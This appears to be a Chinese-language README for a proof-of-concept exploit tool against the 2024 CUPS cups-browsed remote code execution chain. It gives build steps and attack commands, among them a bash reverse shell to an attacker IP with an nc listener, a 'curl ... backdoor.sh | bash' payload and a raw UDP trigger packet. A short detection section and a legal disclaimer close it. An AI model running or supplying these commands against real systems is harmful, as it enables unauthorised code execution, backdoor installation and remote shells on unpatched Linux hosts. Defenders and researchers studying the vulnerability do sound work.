一个功能完整的概念验证型利用工具,针对 2024 年 9 月发现的 CUPS(通用 UNIX 打印系统)远程代码执行漏洞链。该漏洞链由四个 CVE 组成 —— CVE-2024-47176、CVE-2024-47076、CVE-2024-47175 和 CVE-2024-47177 —— 它们共同使得未认证的远程攻击者能够在任何运行受影响 CUPS 版本的 Linux 系统上执行任意命令。
该工具部署一个伪装成网络打印机的恶意 IPP(互联网打印协议)服务器。攻击分为四个阶段:
阶段 1 — 触发发现 向目标设备的 631 端口发送一个精心构造的 UDP 数据包。cups-browsed 守护进程在未经验证的情况下信任该数据包,并主动发起到攻击者 IPP 服务器的 TCP 连接,以获取打印机属性。
阶段 2 — 投递恶意 PPD 攻击者的 IPP 服务器返回包含未净化数据的打印机属性。这些数据流经 libcupsfilters 和 libppd,而它们未能对输入进行验证或净化,从而允许将恶意的 FoomaticRIPCommandLine 指令嵌入到 PPD 文件中。
阶段 3 — 命令注入 当打印作业被发送到攻击者控制的打印机时(无论是自动触发还是用户操作),foomatic-rip 过滤器会处理该 PPD 文件,并以 lp 用户的权限执行注入的命令。
阶段 4 — 载荷执行 注入的命令在目标系统上运行。常见载荷包括反向 Shell、后门安装、数据窃取或提权准备。
cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1
大多数 Linux 发行版在 2024 年底补丁发布前均随附受影响版本。
一台装有 g++ 和标准开发工具的 Linux 机器 能够访问目标网络(UDP 631 端口必须可达) 目标必须运行监听 UDP 631 的 cups-browsed 建议使用 root 或 sudo 权限绑定 631 端口(或使用 1631 等高端口)
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
无外部依赖。可在任何装有 g++ 的 Linux 发行版上编译。
./cups_rce_exploit -l <ATTACKER_IP> -r [options]
-l, --listener 恶意 IPP 服务器的攻击者 IP 地址 -r, --reverse 要在目标上执行的命令,或脚本文件的路径 -t, --target 目标机器 IP(自动发送触发 UDP 数据包) -p, --port 恶意 IPP 服务器端口(默认:631) -s, --spoof 打印机伪装名称(默认:VulnPrinter) -T, --target-port 目标 UDP 端口(默认:631) -h, --help 显示帮助信息
终端 1 — 启动监听器: nc -lvnp 4444
终端 2 — 运行利用工具: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
终端 1 — 启动服务器: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
终端 2 — 向目标发送 UDP 触发包: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
步骤 1:在攻击者机器上设置 netcat 监听器 nc -lvnp 4444
步骤 2:编译利用工具 g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
步骤 3:对目标运行利用工具 ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
步骤 4:如果目标机器上的用户向恶意打印机打印测试页或任何文档,你将以 lp 用户身份获得一个反向 Shell。
631 端口上出现包含 IPP URI 字符串的异常 UDP 数据包 cups-browsed 发往未知主机 631 端口的外向 TCP 连接 CUPS Web 界面中自动出现未知打印机 由 foomatic-rip 或 lp 用户派生的进程
法律声明
本软件仅供教育和研究目的使用。其旨在帮助安全专业人员、渗透测试人员和系统管理员理解、检测和防御所述漏洞。
在未拥有或未获得明确书面许可的系统上未经授权使用此利用工具属违法行为,可能违反《计算机欺诈和滥用法》(CFAA)、《计算机滥用法》以及其他司法辖区的类似法律。
授权使用场景包括:对自有系统进行安全评估、获得书面授权的渗透测试、明确范围内的漏洞赏金计划、受控实验室环境中的学术研究,以及 CTF 竞赛。
作者不对因使用本软件造成的任何滥用或损害承担责任。用户有责任遵守所有适用法律,并在测试前获得适当授权。
使用本软件即表示您接受这些条款。
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org